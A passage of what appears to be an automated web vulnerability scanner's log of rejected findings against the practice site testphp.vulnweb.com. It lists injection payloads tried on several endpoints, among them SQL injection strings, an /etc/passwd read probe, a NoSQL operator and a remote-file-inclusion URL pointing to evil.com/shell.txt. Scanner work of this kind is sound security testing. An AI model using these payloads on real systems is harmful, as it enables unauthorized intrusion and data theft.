nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php", - "attempted_payloads": [ - "{\"$gt\": \"\"}" - ], - "failure_reason": "Rejected nosql_injection in file: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)", - "timestamp": 1771274336.0340512 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)", - "timestamp": 1771274338.074872 - }, - { - "vuln_type": "arbitrary_file_read", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "/etc/passwd" - ], - "failure_reason": "Rejected arbitrary_file_read in pic: negative controls show same behavior (3/4 controls match) (score: 0/100)", - "timestamp": 1771274339.825067 - }, - { - "vuln_type": "nosql_injection", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "{\"$gt\": \"\"}" - ], - "failure_reason": "Rejected nosql_injection in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)", - "timestamp": 1771274341.857177 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771341771.110322 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771341773.665967 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771341775.372823 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771341777.516242 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771341779.554067 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771341782.0552142 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in cat: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771341974.460635 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771341974.630286 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771341974.648414 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771341976.383436 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771341976.430634 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771341976.833942 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in pic: no proof of execution; negative controls show same behavior (3/4 controls match) (score: 0/100)", - "timestamp": 1771341978.229136 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in pic: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771341978.6210911 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)", - "timestamp": 1771341978.7290418 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/search.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)", - "timestamp": 1771341982.6275818 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771350161.2890959 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771350162.877491 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771350164.5030909 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771350166.0852852 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771350167.690537 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771350169.338967 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771350270.906026 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771350272.7684531 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771350274.398189 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "'" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771350275.95865 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "\"" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771350277.603588 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771350279.299734 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 1=1--" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771350280.943288 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 1=2--" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771350282.678825 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 'a'='a" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771350284.3346171 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771350351.254443 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771350351.459648 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771350351.4791849 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/search.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)", - "timestamp": 1771350353.3487082 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771350353.940165 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771350355.108793 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in pic: no proof of execution; negative controls show same behavior (3/4 controls match) (score: 0/100)", - "timestamp": 1771350357.0708082 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)", - "timestamp": 1771350357.2902038 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in cat: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771350358.641603 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in searchFor: no proof of execution (score: 0/100)", - "timestamp": 1771350359.583952 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in searchFor: no proof of execution (score: 20/100)", - "timestamp": 1771350359.769726 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in pic: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771350360.815899 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in goButton: no proof of execution (score: 0/100)", - "timestamp": 1771350361.150208 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in goButton: no proof of execution (score: 20/100)", - "timestamp": 1771350361.322602 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771384311.7213812 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771384313.298322 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771384314.909744 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771384316.476968 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771384318.0317461 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771384319.6290948 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771384411.85551 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771384413.589391 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771384415.891955 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "'" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771384417.519396 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "\"" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771384419.240395 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771384420.959083 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 1=1--" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771384422.568177 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 1=2--" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771384424.293283 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 'a'='a" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771384426.038038 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in cat: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771384504.291442 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771384504.506165 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771384504.512715 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771384505.8537018 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771384506.0897799 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771384506.099565 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/search.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)", - "timestamp": 1771384508.576139 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in pic: no proof of execution; negative controls show same behavior (3/4 controls match) (score: 0/100)", - "timestamp": 1771384510.708765 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)", - "timestamp": 1771384511.020888 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - 